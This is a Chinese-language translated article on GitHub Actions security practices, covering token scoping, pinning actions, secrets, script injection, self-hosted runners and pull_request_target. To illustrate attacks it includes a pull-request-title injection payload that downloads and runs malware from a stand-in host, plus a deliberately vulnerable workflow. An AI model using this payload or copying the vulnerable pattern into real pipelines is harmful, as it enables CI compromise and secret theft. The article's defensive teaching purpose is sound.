当前位置: 首页 > 科技观察

GitHubActions安全最佳实践_0

时间:2023-03-19 10:09:06 科技观察

GitHubActions是一个越来越受欢迎的CI/CD平台。他们能够在保持可访问性的同时自动执行开发周期中的几乎所有任务。但是,由于他们经常调用外部代码,这会给GitHubAction的工作流程带来各种风险和隐患,所以无论我们是否维护一个开源项目,都需要采取一些必要的安全措施。下图是我为大家整理的保护GitHubActions的备忘单。基于此,我将与您进行深入的探讨。1.什么是GitHubActions?GitHubActions是GitHub的CI/CD服务。它可以作为从开发系统到生产系统的工作流机制。GitHub事件不仅可以触发各种动作(比如提交pullrequest、打开issues、合并pullrequests等),还可以执行任何命令。例如,它们可用于格式化代码、拉取请求、将问题的评论与另一个票务系统的评论同步、为新问题添加适当的标签以及触发完整的云部署。通常,此工作流包含一个或多个作业。这些作业运行在它们自己的虚拟机或容器(运行器)中,并且可以执行一个或多个步骤。其中,每一步都可以是一个shell脚本或action。实际上,它是一段专门为GitHubCI生态打包的可重用代码。由于GitHub托管了数百万个可以通过拉取请求进行分叉和贡献的开源项目,因此GitHubActions的安全性对于防范供应链攻击至关重要。接下来,让我们讨论一些值得学习的良好做法:2.设置受信任凭证的最小范围让我们将适用于工作流中所有受信任凭证的这一通用安全原则应用到特定的GITHUB_TOKEN。此令牌授予每个运行者与存储库交互的权限。由于它是临时的,因此其有效性仅受工作流开始和结束的限制。默认情况下,令牌的权限是允许的(普通范围的读写权限)或受限的(普通范围默认没有权限)。由于在这两种情况下,分叉存储库最多只有一次读取访问权限,因此无论您选择哪个选项,您都应该只授予GITHUB_TOKEN执行工作流程或作业所需的最低权限。为此,我们需要在工作流中使用“permission”键来配置工作流或作业所需的最低权限,以实现对GitHubActions权限的细粒度控制。当然,这个原则也适用于环境变量。为了限制环境变量的范围,您还应该始终在步骤级别声明它们,以避免其他阶段任意访问它们。3.使用特定的动作版本标签通常,当人们在GitHub上创建自己的工作流程时,他们会直接使用其他人创建的动作。例如,几乎所有的工作流都会从以下步骤开始:YAML-name:Checkoutrepositoryuses:actions/checkout@v3大多数人可能认为这只是获取他们自己的代码,没有什么危险。但是,让我们检查它如何检查目标代码:以“uses”开头的一行将通过“actions/checkout”操作将代码从GitHub存储库推送到运行工作流的服务器。如果你仔细阅读它的源代码,你会发现盲目相信它的所有行为是极其危险的。各种第三方操作与您的代码交互并可能在服务器上运行。在这方面,我们往往缺乏在后台监控各种发布更新和实施变更的概念。让我们想象一个威胁场景,您需要使用第三方linter来检查您的代码是否存在格式问题。为此,您决定直接使用来自GitHubActionsMarketplace的操作,而无需自行安装、配置和运行linter。试运行后,您可以在存储库中设置使用它的工作流:YAML-名称:Lint代码使用:someone/lint-action@v1而在使用该操作几个月后,您可能会突然遇到API密钥的问题被盗或滥用。经过调查,该第三方linter操作的作者最近向GitHubMarketplace推送了更新,并将其重新标记为“v1”,其中包含将环境变量发送到随机URL的代码。所以,每个使用“someperson/linter-action@v1”的人都会在他们的工作流程中运行这个恶意代码。对于没有人关注其使用的第三方动作是否有更新的情况,如何实现安全保护呢?GitHub为我们提供了一种方法:您可以通过提交哈希而不是使用存储库中的标签来运行操作。例如自动推送容器镜像到DockerHub时,可以在工作流中使用如下代码进行鉴权:YAML-名称:登录容器注册中心使用:docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9左右滑动即可查看完整代码通过在验证DockerHub时准确指定要提交的内容,我们可以保证工作流程中操作的一致性,而不必担心任何更改。4.不要使用明文密码虽然这是常识,但还是要提一下:请不要在源代码或CI工作流文件中以明文形式存储API密钥或密码。作为一项服务,GitHubSecrets允许您以安全的方式存储自己的秘密,并在工作流中使用各种${{}}括号引用它们,以确保所有明文秘密都被排除在GitHub操作之外。当然,你也可以使用免费的ggshield-action扫描源码获取密码。5.不要引用超出你控制范围的值前面提到,GitHub允许你使用各种${{}}括号来引用GitHub环境中的机密信息。但是,此可引用信息不必由您设置。这也是许多开源存储库的常见错误来源。以下工作流程对我来说是一个错误:YAML-名称:lintrun:|echo"${{github.event.pull_request.title}}"|commitlint“lint”命令包含来自拉取请求的一些输入,其中包含获取由提交请求的人设置的拉取请求的标题。例如,假设有人向此存储库提交以下拉取请求:a"&&wgethttps://example.com/malware&&./malware&&echo"Title然后,将评估以下YAML工作流:YAML-name:lintrun:|echo"a"&&wgethttps://example.com/malware&&./malware&&echo"标题"|commitlint在这个例子中,攻击者下载并执行了恶意软件,窃取了正在运行的程序GITHUB_TOKEN。相反,根据运行工作流的上下文,令牌可能具有对原始存储库的写入权限。这意味着攻击者可以完全修改存储库的内容(包括发布)。另一个例子是从CI窃取敏感数据,即收集可用于横向移动的密钥。由于拉取请求标题不是外部各方设置的唯一GitHub环境值,因此拉取请求文本以及发布的标题和文本也不可信。当您在GitHubActions步骤中引用此类变量时,请确保您可以控制它们的来源。为了安全起见,你有两个选择:1.使用Action而不是内联脚本Action将使用(不受信任的)上下文值作为参数,来判断注入攻击:YAML-uses:fakeaction/checktitle@v3with:title:${{github.event.pull_request.title}}2.使用中间环境变量如果需要执行脚本,应该设置中间环境变量:YAML-name:CheckPRtitleenv:PR_TITLE:${{github.event.pull_request.title}运行:|echo"$PR_TITLE"请注意,我们在变量周围添加了双引号,以防止其他类型的攻击,作为额外的预防措施。6.仅在可信代码上运行工作流无论您托管自己的actionrunner还是使用GitHub的runner,当workflows运行时,您需要小心授予潜在的运行代码、访问机密信息,以及在runner的环境中执行的权限。如果您维护一个开源存储库,您很可能会收到一些您从未接触过的常规拉取请求。此时,您应该问自己:“当工作流启动时,运行的是什么代码?这些代码从何而来?”让我们考虑一个潜在的威胁场景。假设您是GitHub上某个组织的维护者,并且您有一个设置了自动化测试的开源项目。有一天,有人向存储库提交了一个拉取请求,其中包含一项新功能和一些测试用例。您不知道的是,其中一个测试用例不包含测试代码,而是在服务器上安装并运行“挖矿”应用程序。那么,一旦你的CI启动了所有的测试代码,你原来运行的程序就会受到影响。事实上,GitHub默认可以保护我们免受此类攻击。也就是说,GitHub能够禁止个人帐户在公共存储库上使用自托管运行器,但仅限于组织。此类场景的另一个保护措施是确定GitHubActions何时在拉取请求的代码上运行。默认情况下,来自首次贡献者的拉取请求需要维护者的批准才能开始CI测试。作为维护者,您有责任确保在批准工作流之前仔细阅读所有提交的代码。当然,如果有人在提交带有恶意代码的第二个pullrequest之前预先提交了一个小的pullrequest。然后由于他不是第一次贡献者,他的所有配置工作流都会自动运行。为此,可以将GitHub设置为要求所有外部协作者批准每个拉取请求。7.强化ActionRunner在设置CI工作流期间,您可以在每个工作流中指定它应该运行的位置。GitHub为Ubuntu、Mac和Windows提供了一些不同的运行器。当您使用GitHub的运行器时,它们必须作为干净的VM启动。当然,您也可以选择将自己的服务器配置为运行程序来执行自己的工作流。请注意,切勿将自托管运行器用于公共存储库。这无疑允许任何人分叉您的存储库、提交恶意拉取请求、逃离沙箱并获得对网络的访问权限。如果您确实需要设置一个自托管运行器,请注意以下几点:1.您应该是唯一可以配置在服务器上运行的工作流的人。2.使用专用的非特权账号(例如:github-runner等非管理员权限)启动运行程序,执行工作流。同时,您应该确保它无权修改其工作空间之外的任何内容(除非在工作流中使用sudo),并且只允许执行它所属的特定文件。3.通过设置临时和隔离的工作负载来执行KubernetesPod或容器等作业。相应地,当工作流完成后,虚拟机将被销毁,以避免各种潜在的风险。4.使用日志记录和安全监控工具。如果你有一个安全团队,你可以使用EDR代理,或者类似SysmonforLinux的工具来收集正在运行的程序服务器上的进程日志,并在出现可疑情况时使用检测规则发出警告。在典型的SolarWinds供应链攻击中,攻击者位于SolarWinds构建的服务器内,并利用他们的访问权限将恶意代码注入Orion平台。如果我们能够有效地监控运行程序的可疑活动,就可以保证代码的完整性,防止构建过程被篡改,以及攻击者使用的命令与控制(command-and-control,C2),以及各种持久化技术。8.小心使用pull_request_target触发器在维护开源存储库时,您可能还会遇到一个名为pwnrequests的漏洞。恶意拉取请求可以利用此漏洞拦截秘密信息,甚至在某些情况下篡改发布。因此,如果你在GitHubActions中使用了“on:pull_request_target”事件,请不要使用以下代码内容:YAMLon:pull_request_target...steps:-uses:actions/checkout@v3with:ref:${{github.event.pull_request.head.sha}}也就是说,当有人分叉您的存储库并打开拉取请求时,涉及两个存储库:您控制的目标存储库和其他人的分叉存储库(forkrepo)。通常,当有人提交拉取请求时,我们使用“pull_request”触发事件来触发工作流。有了它,触发的工作流将只在提交者的分支存储库的上下文中运行。而且,提供的GITHUB_TOKEN不会有写权限,更谈不上访问机密信息。虽然这些是合理的默认值,但在某些情况下它们可能有点过于严格。应开源社区的要求,GitHub引入了“pull_request_target”事件。它与前者区别不大,但存在一定的安全隐患。例如:由于pull_request_target触发器在您的目标存储库的上下文中运行,工作流可以访问您的秘密并编写您的代码。一旦工作流运行不受控制的代码,就会变得非常危险。这就是为什么检查分叉存储库的代码需要解释工作流以分析任何类型的远程代码执行的原因。9.漏洞示例为了证明这一点,让我们看一下以下易受攻击的GitHub操作:YAMLname:myactionon:pull_request_targetjobs:pr-check:name:CheckPRruns-on:ubuntu-lateststeps:-name:SetupActionuses:actions/checkout@v3with:ref:${{github.event.pull_request.head.ref}}存储库:${{github.event.pull_request.head.repo.full_name}}-名称:设置Python3.10使用:actions/setup-python@v3with:python-version:3.10-name:Installdependenciesrun:pipinstall-rrequirements.txt-name:somecommandrun:some_commandenv:SOME_SECRET:${{secrets.SOME_SECRET}}此代码满足两个条件:works流触发器运行在目标存储库上,作业的第一步是检查拉取请求代码的HEAD(即最后一次提交)。因此,此代码将在拉取请求的其余工作流程中使用,并将打开各种威胁向量以供利用。例如,看似无害的“运行:pipinstall...”执行以安装依赖项是此时的潜在向量。毕竟只要修改setup.py,就可以在pip启动前执行一个“预安装”脚本。此外,由于脚本中提供了各种shell命令,攻击者可以轻松启动反向shell,或获取恶意负载。有效负载旨在执行诸如修改原始存储库的源代码以及重新标记发布等操作。这可以说是发起供应链攻击的“完美”漏洞,因为开源项目的所有用户都可能在不知不觉中暴露于此类攻击。当然,这只是一种攻击媒介。通过更改some_command二进制文件窃取SOME_SECRET环境变量可能要容易得多。请注意,不仅上述shell命令在此类配置中存在漏洞,即使工作流仅依赖于操作,由于各种操作会在后台执行本地脚本,代码注入仍然非常容易发生。这就是我们强烈建议您不要使用pull_request_target的原因。即使这样做,也不要盲目检查不受信任的拉取请求代码。10.更喜欢使用OpenIDConnect访问云资源OpenIDConnect(OIDC)允许您在工作流中请求和使用来自云服务提供商的短期访问令牌,而无需将这些长期密钥复制到GitHub中。通过配置,您还可以从云提供商的细粒度访问控制和更好的自动化密钥管理中获益。为此,您需要先与云提供商建立OIDC信任关系,以控制谁可以访问哪些资源。然后,在GitHub上,OIDC提供程序将配置为自动生成包含声明的JWT令牌。此声明允许工作流向云服务提供商进行身份验证。一旦这些声明得到验证,一个角色范围内的短期访问令牌将被发送回工作流以供以后执行。十一.结论综上所述,作为开源社区中最流行的CI/CD工具之一,GitHubActions可用于对公共或私有存储库的各种操作。但是,从安全的角度来看,您应该谨慎设置与之关联的工作流,以避免对密钥、工件和供应链的攻击。在这里,我将上面讨论的GitHubActions的安全实践总结如下:1.使用最小范围的信任凭证,并确保为GITHUB_TOKEN配置最小权限以运行您的作业。2.使用特定版本标签,避免第三方行为对供应链造成危害。3.切勿以明文形式存储任何API密钥、令牌或密码,使用ggshield-action在您的CI工作流中实施密钥检测和修复。4.避免直接引用易受恶意pullrequest注入和不可控值影响的代码。请使用带参数的动作,或者直接给环境变量绑定值。5.使用自托管运行器时要小心,最好不要将此选项与开源存储库一起使用,或者启用需要批准所有外部提交才能运行的工作流。让正在运行的程序使用虚拟机并将其配置为在最短时间内使用低权限用户,并使用足够的日志记录和监视工具。6.使用“pull_request_target事件”时不要检查外部拉取请求,因为恶意拉取请求会滥用您的构建步骤、密钥,从而滥用您的环境。7、尝试使用OpenIDConnect代替长期有效的密钥,实现工作流与云资源的交互。原文链接:https://dzone.com/articles/github-actions-security-best-practices-cheat-sheet译者介绍JulianChen(朱利安陈),社区编辑,拥有十多年IT项目实施经验,善于控制内外部资源和风险,注重传播网络与信息安全知识和经验。